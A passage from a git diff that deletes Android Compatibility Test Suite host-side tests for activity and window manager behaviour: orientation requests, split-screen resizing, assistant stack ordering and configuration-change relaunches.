-     * Tests that an activity with the DialogWhenLarge theme can transform properly when in split
-     * screen.
-     */
-    @Presubmit
-    public void testDialogWhenLargeSplitSmall() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        launchActivityInStack(DIALOG_WHEN_LARGE_ACTIVITY, DOCKED_STACK_ID);
-        final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
-                .getStackById(DOCKED_STACK_ID);
-        final WindowManagerState.Display display =
-                mAmWmState.getWmState().getDisplay(stack.mDisplayId);
-        final int density = display.getDpi();
-        final int smallWidthPx = dpToPx(SMALL_WIDTH_DP, density);
-        final int smallHeightPx = dpToPx(SMALL_HEIGHT_DP, density);
-
-        runCommandAndPrintOutput("am stack resize " + DOCKED_STACK_ID + " 0 0 "
-                + smallWidthPx + " " + smallHeightPx);
-        mAmWmState.waitForValidState(mDevice, DIALOG_WHEN_LARGE_ACTIVITY, DOCKED_STACK_ID);
-    }
-
-    /**
-     * Test that device handles consequent requested orientations and displays the activities.
-     */
-    @Presubmit
-    public void testFullscreenAppOrientationRequests() throws Exception {
-        launchActivity(PORTRAIT_ACTIVITY_NAME);
-        mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
-        assertEquals("Fullscreen app requested portrait orientation",
-                1 /* portrait */, mAmWmState.getWmState().getLastOrientation());
-
-        launchActivity(LANDSCAPE_ACTIVITY_NAME);
-        mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
-        assertEquals("Fullscreen app requested landscape orientation",
-                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-
-        launchActivity(PORTRAIT_ACTIVITY_NAME);
-        mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
-        assertEquals("Fullscreen app requested portrait orientation",
-                1 /* portrait */, mAmWmState.getWmState().getLastOrientation());
-    }
-
-    public void testNonfullscreenAppOrientationRequests() throws Exception {
-        String logSeparator = clearLogcat();
-        launchActivity(PORTRAIT_ACTIVITY_NAME);
-        final ReportedSizes initialReportedSizes =
-                getLastReportedSizesForActivity(PORTRAIT_ACTIVITY_NAME, logSeparator);
-        assertEquals("portrait activity should be in portrait",
-                1 /* portrait */, initialReportedSizes.orientation);
-        logSeparator = clearLogcat();
-
-        launchActivityInComponent(TRANSLUCENT_CURRENT_PACKAGE, TRANSLUCENT_ACTIVITY);
-
-        assertEquals("non-fullscreen activity requested landscape orientation",
-                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-
-        // TODO(b/36897968): uncomment once we can suppress unsupported configurations
-        // final ReportedSizes updatedReportedSizes =
-        //      getLastReportedSizesForActivity(PORTRAIT_ACTIVITY_NAME, logSeparator);
-        // assertEquals("portrait activity should not have moved from portrait",
-        //         1 /* portrait */, updatedReportedSizes.orientation);
-    }
-
-    public void testNonFullscreenActivityPermitted() throws Exception {
-        setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
-        setDeviceRotation(0);
-
-        launchActivity(TRANSLUCENT_ACTIVITY);
-        mAmWmState.assertResumedActivity(
-                "target SDK non-fullscreen activity should be allowed to launch",
-                TRANSLUCENT_ACTIVITY);
-        assertEquals("non-fullscreen activity requested landscape orientation",
-                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-    }
-
-    /**
-     * Test that device handles moving between two tasks with different orientations.
-     */
-    public void testTaskCloseRestoreOrientation() throws Exception {
-        // Start landscape activity.
-        launchActivity(LANDSCAPE_ACTIVITY_NAME);
-        mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
-        assertEquals("Fullscreen app requested landscape orientation",
-                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-
-        // Start another activity in a different task.
-        launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
-
-        // Request portrait
-        executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
-        mAmWmState.waitForRotation(mDevice, 1);
-
-        // Finish activity
-        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
-
-        // Verify that activity brought to front is in originally requested orientation.
-        mAmWmState.computeState(mDevice, new String[]{LANDSCAPE_ACTIVITY_NAME});
-        assertEquals("Should return to app in landscape orientation",
-                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-    }
-
-    /**
-     * Test that device handles moving between two tasks with different orientations.
-     */
-    public void testTaskMoveToBackOrientation() throws Exception {
-        // Start landscape activity.
-        launchActivity(LANDSCAPE_ACTIVITY_NAME);
-        mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
-        assertEquals("Fullscreen app requested landscape orientation",
-                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-
-        // Start another activity in a different task.
-        launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
-
-        // Request portrait
-        executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
-        mAmWmState.waitForRotation(mDevice, 1);
-
-        // Finish activity
-        executeShellCommand(MOVE_TASK_TO_BACK_BROADCAST);
-
-        // Verify that activity brought to front is in originally requested orientation.
-        mAmWmState.waitForValidState(mDevice, LANDSCAPE_ACTIVITY_NAME);
-        assertEquals("Should return to app in landscape orientation",
-                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-    }
-
-    /**
-     * Test that device doesn't change device orientation by app request while in multi-window.
-     */
-    public void testSplitscreenPortraitAppOrientationRequests() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-          CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-          return;
-        }
-        requestOrientationInSplitScreen(1 /* portrait */, LANDSCAPE_ACTIVITY_NAME);
-    }
-
-    /**
-     * Test that device doesn't change device orientation by app request while in multi-window.
-     */
-    public void testSplitscreenLandscapeAppOrientationRequests() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-          CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-          return;
-        }
-        requestOrientationInSplitScreen(0 /* landscape */, PORTRAIT_ACTIVITY_NAME);
-    }
-
-    /**
-     * Rotate the device and launch specified activity in split-screen, checking if orientation
-     * didn't change.
-     */
-    private void requestOrientationInSplitScreen(int orientation, String activity)
-            throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        // Set initial orientation.
-        setDeviceRotation(orientation);
-
-        // Launch activities that request orientations and check that device doesn't rotate.
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-
-        getLaunchActivityBuilder().setToSide(true).setMultipleTask(true)
-                .setTargetActivityName(activity).execute();
-        mAmWmState.computeState(mDevice, new String[] {activity});
-        mAmWmState.assertVisibility(activity, true /* visible */);
-        assertEquals("Split-screen apps shouldn't influence device orientation",
-                orientation, mAmWmState.getWmState().getRotation());
-
-        getLaunchActivityBuilder().setMultipleTask(true).setTargetActivityName(activity).execute();
-        mAmWmState.computeState(mDevice, new String[] {activity});
-        mAmWmState.assertVisibility(activity, true /* visible */);
-        assertEquals("Split-screen apps shouldn't influence device orientation",
-                orientation, mAmWmState.getWmState().getRotation());
-    }
-
-    /**
-     * Launches activity in docked stack, moves to fullscreen stack and back to docked stack.
-     * Asserts that initial and final reported sizes in docked stack are the same.
-     */
-    private void moveActivitySplitFullSplit(String activityName) throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        // Launch to docked stack and record size.
-        String logSeparator = clearLogcat();
-        launchActivityInStack(activityName, DOCKED_STACK_ID);
-        final ReportedSizes initialDockedSizes = getActivityDisplaySize(activityName, logSeparator);
-        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
-        // will come up.
-        launchActivityInStack(activityName, DOCKED_STACK_ID);
-        mAmWmState.computeState(mDevice, new String[] { activityName },
-                false /* compareTaskAndStackBounds */);
-
-        // Move to fullscreen stack.
-        logSeparator = clearLogcat();
-        moveActivityToStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes fullscreenSizes = getActivityDisplaySize(activityName, logSeparator);
-        assertSizesAreSane(fullscreenSizes, initialDockedSizes);
-
-        // Move activity back to docked stack.
-        logSeparator = clearLogcat();
-        moveActivityToStack(activityName, DOCKED_STACK_ID);
-        final ReportedSizes finalDockedSizes = getActivityDisplaySize(activityName, logSeparator);
-
-        // After activity configuration was changed twice it must report same size as original one.
-        assertSizesAreSame(initialDockedSizes, finalDockedSizes);
-    }
-
-    /**
-     * Asserts that after rotation, the aspect ratios of display size, metrics, and configuration
-     * have flipped.
-     */
-    private static void assertSizesRotate(ReportedSizes rotationA, ReportedSizes rotationB)
-            throws Exception {
-        assertEquals(rotationA.displayWidth, rotationA.metricsWidth);
-        assertEquals(rotationA.displayHeight, rotationA.metricsHeight);
-        assertEquals(rotationB.displayWidth, rotationB.metricsWidth);
-        assertEquals(rotationB.displayHeight, rotationB.metricsHeight);
-
-        final boolean beforePortrait = rotationA.displayWidth < rotationA.displayHeight;
-        final boolean afterPortrait = rotationB.displayWidth < rotationB.displayHeight;
-        assertFalse(beforePortrait == afterPortrait);
-
-        final boolean beforeConfigPortrait = rotationA.widthDp < rotationA.heightDp;
-        final boolean afterConfigPortrait = rotationB.widthDp < rotationB.heightDp;
-        assertEquals(beforePortrait, beforeConfigPortrait);
-        assertEquals(afterPortrait, afterConfigPortrait);
-
-        assertEquals(rotationA.smallestWidthDp, rotationB.smallestWidthDp);
-    }
-
-    /**
-     * Throws an AssertionError if fullscreenSizes has widths/heights (depending on aspect ratio)
-     * that are smaller than the dockedSizes.
-     */
-    private static void assertSizesAreSane(ReportedSizes fullscreenSizes, ReportedSizes dockedSizes)
-            throws Exception {
-        final boolean portrait = fullscreenSizes.displayWidth < fullscreenSizes.displayHeight;
-        if (portrait) {
-            assertTrue(dockedSizes.displayHeight < fullscreenSizes.displayHeight);
-            assertTrue(dockedSizes.heightDp < fullscreenSizes.heightDp);
-            assertTrue(dockedSizes.metricsHeight < fullscreenSizes.metricsHeight);
-        } else {
-            assertTrue(dockedSizes.displayWidth < fullscreenSizes.displayWidth);
-            assertTrue(dockedSizes.widthDp < fullscreenSizes.widthDp);
-            assertTrue(dockedSizes.metricsWidth < fullscreenSizes.metricsWidth);
-        }
-    }
-
-    /**
-     * Throws an AssertionError if sizes are different.
-     */
-    private static void assertSizesAreSame(ReportedSizes firstSize, ReportedSizes secondSize)
-            throws Exception {
-        assertEquals(firstSize.widthDp, secondSize.widthDp);
-        assertEquals(firstSize.heightDp, secondSize.heightDp);
-        assertEquals(firstSize.displayWidth, secondSize.displayWidth);
-        assertEquals(firstSize.displayHeight, secondSize.displayHeight);
-        assertEquals(firstSize.metricsWidth, secondSize.metricsWidth);
-        assertEquals(firstSize.metricsHeight, secondSize.metricsHeight);
-        assertEquals(firstSize.smallestWidthDp, secondSize.smallestWidthDp);
-    }
-
-    private ReportedSizes getActivityDisplaySize(String activityName, String logSeparator)
-            throws Exception {
-        mAmWmState.computeState(mDevice, new String[] { activityName },
-                false /* compareTaskAndStackBounds */);
-        final ReportedSizes details = getLastReportedSizesForActivity(activityName, logSeparator);
-        assertNotNull(details);
-        return details;
-    }
-
-    private Rectangle getDisplayRect(String activityName)
-            throws Exception {
-        final String windowName = getWindowName(activityName);
-
-        mAmWmState.computeState(mDevice, new String[] {activityName});
-        mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
-
-        final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
-        mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
-
-        assertEquals("Should have exactly one window state for the activity.", 1,
-                tempWindowList.size());
-
-        WindowManagerState.WindowState windowState = tempWindowList.get(0);
-        assertNotNull("Should have a valid window", windowState);
-
-        WindowManagerState.Display display = mAmWmState.getWmState()
-                .getDisplay(windowState.getDisplayId());
-        assertNotNull("Should be on a display", display);
-
-        return display.getDisplayRect();
-    }
-
-    /**
-     * Test launching an activity which requests specific UI mode during creation.
-     */
-    public void testLaunchWithUiModeChange() throws Exception {
-        // Launch activity that changes UI mode and handles this configuration change.
-        launchActivity(NIGHT_MODE_ACTIVITY);
-        mAmWmState.waitForActivityState(mDevice, NIGHT_MODE_ACTIVITY, STATE_RESUMED);
-
-        // Check if activity is launched successfully.
-        mAmWmState.assertVisibility(NIGHT_MODE_ACTIVITY, true /* visible */);
-        mAmWmState.assertFocusedActivity("Launched activity should be focused",
-                NIGHT_MODE_ACTIVITY);
-        mAmWmState.assertResumedActivity("Launched activity must be resumed", NIGHT_MODE_ACTIVITY);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
deleted file mode 100644
index be2af68..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
+++ /dev/null
@@ -1,291 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test android.server.cts.ActivityManagerAssistantStackTests
- */
-public class ActivityManagerAssistantStackTests extends ActivityManagerTestBase {
-
-    private static final String VOICE_INTERACTION_SERVICE = "AssistantVoiceInteractionService";
-
-    private static final String TEST_ACTIVITY = "TestActivity";
-    private static final String ANIMATION_TEST_ACTIVITY = "AnimationTestActivity";
-    private static final String DOCKED_ACTIVITY = "DockedActivity";
-    private static final String ASSISTANT_ACTIVITY = "AssistantActivity";
-    private static final String TRANSLUCENT_ASSISTANT_ACTIVITY = "TranslucentAssistantActivity";
-    private static final String LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION =
-            "LaunchAssistantActivityFromSession";
-    private static final String LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK =
-            "LaunchAssistantActivityIntoAssistantStack";
-    private static final String PIP_ACTIVITY = "PipActivity";
-
-    private static final String EXTRA_ENTER_PIP = "enter_pip";
-    private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
-    private static final String EXTRA_FINISH_SELF = "finish_self";
-    public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
-
-    private static final String TEST_ACTIVITY_ACTION_FINISH_SELF =
-            "android.server.cts.TestActivity.finish_self";
-
-    public void testLaunchingAssistantActivityIntoAssistantStack() throws Exception {
-        // Enable the assistant and launch an assistant activity
-        enableAssistant();
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
-        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
-
-        // Ensure that the activity launched in the fullscreen assistant stack
-        assertAssistantStackExists();
-        assertTrue("Expected assistant stack to be fullscreen",
-                mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).isFullscreen());
-
-        disableAssistant();
-    }
-
-    public void testAssistantStackZOrder() throws Exception {
-        if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
-        // Launch a pinned stack task
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
-
-        // Dock a task
-        launchActivity(TEST_ACTIVITY);
-        launchActivityInDockStack(DOCKED_ACTIVITY);
-        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
-        // Enable the assistant and launch an assistant activity, ensure it is on top
-        enableAssistant();
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
-        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
-        assertAssistantStackExists();
-
-        mAmWmState.assertFrontStack("Pinned stack should be on top.", PINNED_STACK_ID);
-        mAmWmState.assertFocusedStack("Assistant stack should be focused.", ASSISTANT_STACK_ID);
-
-        disableAssistant();
-    }
-
-    public void testAssistantStackLaunchNewTask() throws Exception {
-        enableAssistant();
-        assertAssistantStackCanLaunchAndReturnFromNewTask();
-        disableAssistant();
-    }
-
-    public void testAssistantStackLaunchNewTaskWithDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) return;
-        // Dock a task
-        launchActivity(TEST_ACTIVITY);
-        launchActivityInDockStack(DOCKED_ACTIVITY);
-        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
-        enableAssistant();
-        assertAssistantStackCanLaunchAndReturnFromNewTask();
-        disableAssistant();
-    }
-
-    private void assertAssistantStackCanLaunchAndReturnFromNewTask() throws Exception {
-        // Enable the assistant and launch an assistant activity which will launch a new task
-        enableAssistant();
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                EXTRA_LAUNCH_NEW_TASK, TEST_ACTIVITY);
-        disableAssistant();
-
-        // Ensure that the fullscreen stack is on top and the test activity is now visible
-        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
-        mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-
-        // Now, tell it to finish itself and ensure that the assistant stack is brought back forward
-        executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH_SELF);
-        mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
-        mAmWmState.assertFrontStack("Assistant stack should be on top.", ASSISTANT_STACK_ID);
-        mAmWmState.assertFocusedStack("Assistant stack should be focused.", ASSISTANT_STACK_ID);
-    }
-
-    public void testAssistantStackFinishToPreviousApp() throws Exception {
-        // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
-        // the fullscreen activity is still visible and on top after the assistant activity finishes
-        launchActivity(TEST_ACTIVITY);
-        enableAssistant();
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                EXTRA_FINISH_SELF, "true");
-        disableAssistant();
-        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY, STATE_RESUMED);
-        mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
-        mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-    }
-
-    public void testDisallowEnterPiPFromAssistantStack() throws Exception {
-        enableAssistant();
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                EXTRA_ENTER_PIP, "true");
-        disableAssistant();
-        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
-        mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
-    }
-
-    public void testTranslucentAssistantActivityStackVisibility() throws Exception {
-        enableAssistant();
-        // Go home, launch the assistant and check to see that home is visible
-        removeStacks(FULLSCREEN_WORKSPACE_STACK_ID);
-        launchHomeActivity();
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                EXTRA_IS_TRANSLUCENT, String.valueOf(true));
-        mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
-        assertAssistantStackExists();
-        if (!noHomeScreen()) {
-            mAmWmState.assertHomeActivityVisible(true);
-        }
-
-        // Launch a fullscreen app and then launch the assistant and check to see that it is
-        // also visible
-        removeStacks(ASSISTANT_STACK_ID);
-        launchActivity(TEST_ACTIVITY);
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                EXTRA_IS_TRANSLUCENT, String.valueOf(true));
-        mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
-        assertAssistantStackExists();
-        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Go home, launch assistant, launch app into fullscreen with activity present, and go back.
-        // Ensure home is visible.
-        removeStacks(ASSISTANT_STACK_ID);
-        launchHomeActivity();
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                EXTRA_IS_TRANSLUCENT, String.valueOf(true), EXTRA_LAUNCH_NEW_TASK,
-                TEST_ACTIVITY);
-        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertHomeActivityVisible(false);
-        pressBackButton();
-        mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
-        assertAssistantStackExists();
-        if (!noHomeScreen()) {
-            mAmWmState.assertHomeActivityVisible(true);
-        }
-
-        // Launch a fullscreen and docked app and then launch the assistant and check to see that it
-        // is also visible
-        if (supportsSplitScreenMultiWindow()) {
-            removeStacks(ASSISTANT_STACK_ID);
-            launchActivityInDockStack(DOCKED_ACTIVITY);
-            launchActivity(TEST_ACTIVITY);
-            mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-            launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_IS_TRANSLUCENT, String.valueOf(true));
-            mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
-            assertAssistantStackExists();
-            mAmWmState.assertVisibility(DOCKED_ACTIVITY, true);
-            mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-        }
-        disableAssistant();
-    }
-
-    public void testLaunchIntoSameTask() throws Exception {
-        enableAssistant();
-
-        // Launch the assistant
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
-        assertAssistantStackExists();
-        mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
-        mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
-        assertEquals(1, mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).getTasks().size());
-        final int taskId = mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY)
-                .mTaskId;
-
-        // Launch a new fullscreen activity
-        // Using Animation Test Activity because it is opaque on all devices.
-        launchActivity(ANIMATION_TEST_ACTIVITY);
-        mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
-
-        // Launch the assistant again and ensure that it goes into the same task
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
-        assertAssistantStackExists();
-        mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
-        mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
-        assertEquals(1, mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).getTasks().size());
-        assertEquals(taskId,
-                mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY).mTaskId);
-
-        disableAssistant();
-    }
-
-    public void testPinnedStackWithAssistant() throws Exception {
-        if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
-
-        enableAssistant();
-
-        // Launch a fullscreen activity and a PIP activity, then launch the assistant, and ensure
-        // that the test activity is still visible
-        launchActivity(TEST_ACTIVITY);
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                EXTRA_IS_TRANSLUCENT, String.valueOf(true));
-        mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
-        assertAssistantStackExists();
-        mAmWmState.assertVisibility(TRANSLUCENT_ASSISTANT_ACTIVITY, true);
-        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        disableAssistant();
-    }
-
-    /**
-     * Asserts that the assistant stack exists.
-     */
-    private void assertAssistantStackExists() throws Exception {
-        mAmWmState.assertContainsStack("Must contain assistant stack.", ASSISTANT_STACK_ID);
-    }
-
-    /**
-     * Asserts that the assistant stack does not exist.
-     */
-    private void assertAssistantStackDoesNotExist() throws Exception {
-        mAmWmState.assertDoesNotContainStack("Must not contain assistant stack.",
-                ASSISTANT_STACK_ID);
-    }
-
-    /**
-     * Sets the system voice interaction service.
-     */
-    private void enableAssistant() throws Exception {
-        executeShellCommand("settings put secure voice_interaction_service " +
-                getActivityComponentName(VOICE_INTERACTION_SERVICE));
-    }
-
-    /**
-     * Resets the system voice interaction service.
-     */
-    private void disableAssistant() throws Exception {
-        executeShellCommand("settings delete secure voice_interaction_service " +
-                getActivityComponentName(VOICE_INTERACTION_SERVICE));
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
deleted file mode 100644
index 4640d19..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
+++ /dev/null
@@ -1,237 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.platform.test.annotations.Presubmit;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.StateLogger.logE;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerConfigChangeTests
- */
-public class ActivityManagerConfigChangeTests extends ActivityManagerTestBase {
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
-
-    private static final String FONT_SCALE_ACTIVITY_NAME = "FontScaleActivity";
-    private static final String FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME =
-            "FontScaleNoRelaunchActivity";
-
-    private static final float EXPECTED_FONT_SIZE_SP = 10.0f;
-
-    public void testRotation90Relaunch() throws Exception{
-        // Should relaunch on every rotation and receive no onConfigurationChanged()
-        testRotation(TEST_ACTIVITY_NAME, 1, 1, 0);
-    }
-
-    public void testRotation90NoRelaunch() throws Exception {
-        // Should receive onConfigurationChanged() on every rotation and no relaunch
-        testRotation(NO_RELAUNCH_ACTIVITY_NAME, 1, 0, 1);
-    }
-
-    public void testRotation180Relaunch() throws Exception {
-        // Should receive nothing
-        testRotation(TEST_ACTIVITY_NAME, 2, 0, 0);
-    }
-
-    public void testRotation180NoRelaunch() throws Exception {
-        // Should receive nothing
-        testRotation(NO_RELAUNCH_ACTIVITY_NAME, 2, 0, 0);
-    }
-
-    @Presubmit
-    public void testChangeFontScaleRelaunch() throws Exception {
-        // Should relaunch and receive no onConfigurationChanged()
-        testChangeFontScale(FONT_SCALE_ACTIVITY_NAME, true /* relaunch */);
-    }
-
-    @Presubmit
-    public void testChangeFontScaleNoRelaunch() throws Exception {
-        // Should receive onConfigurationChanged() and no relaunch
-        testChangeFontScale(FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME, false /* relaunch */);
-    }
-
-    private void testRotation(
-            String activityName, int rotationStep, int numRelaunch, int numConfigChange)
-                    throws Exception {
-        launchActivity(activityName);
-
-        final String[] waitForActivitiesVisible = new String[] {activityName};
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
-        final int initialRotation = 4 - rotationStep;
-        setDeviceRotation(initialRotation);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
-                activityName).mStackId;
-        final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
-        final int newDeviceRotation = getDeviceRotation(displayId);
-        if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
-            CLog.logAndDisplay(LogLevel.WARN, "Got an invalid device rotation value. "
-                    + "Continuing the test despite of that, but it is likely to fail.");
